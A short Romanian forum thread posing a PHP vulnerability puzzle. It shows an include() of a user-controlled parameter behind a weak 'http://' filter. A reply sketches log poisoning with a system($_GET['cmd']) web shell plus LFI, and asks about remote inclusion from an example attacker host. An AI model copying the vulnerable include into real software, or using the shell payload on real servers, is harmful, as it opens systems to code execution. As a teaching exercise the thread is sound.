Jump to content
kw3rln

[f easy] vulnerabilitate php

Recommended Posts

Posted

<?php
if(isset($_REQUEST['doc']))
{
$doc = $_REQUEST['doc'];
//Anti RFI-protection
$doc = str_replace('http://','',$doc);
include($doc);
}
?>

vulnerabil la 3 atacuri, vedeti care-s alea

Posted

daca se poate sa ma lamuriti si pe mine

remote code execution cred c-ar fi daca

fac ceva de genul doc = <? system($_GET['cmd'])?> , imi logheaza asta intr-un loc apache si apoi folosesc LFI ca sa-l execut, nu ?

RFI cum se face?

merge sa includ un fisier remote daca fac doar doc='www.hackserver.com/cmd.php' de exemplu? adik fara http in fata?

saum cum se face RFI aici?'

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...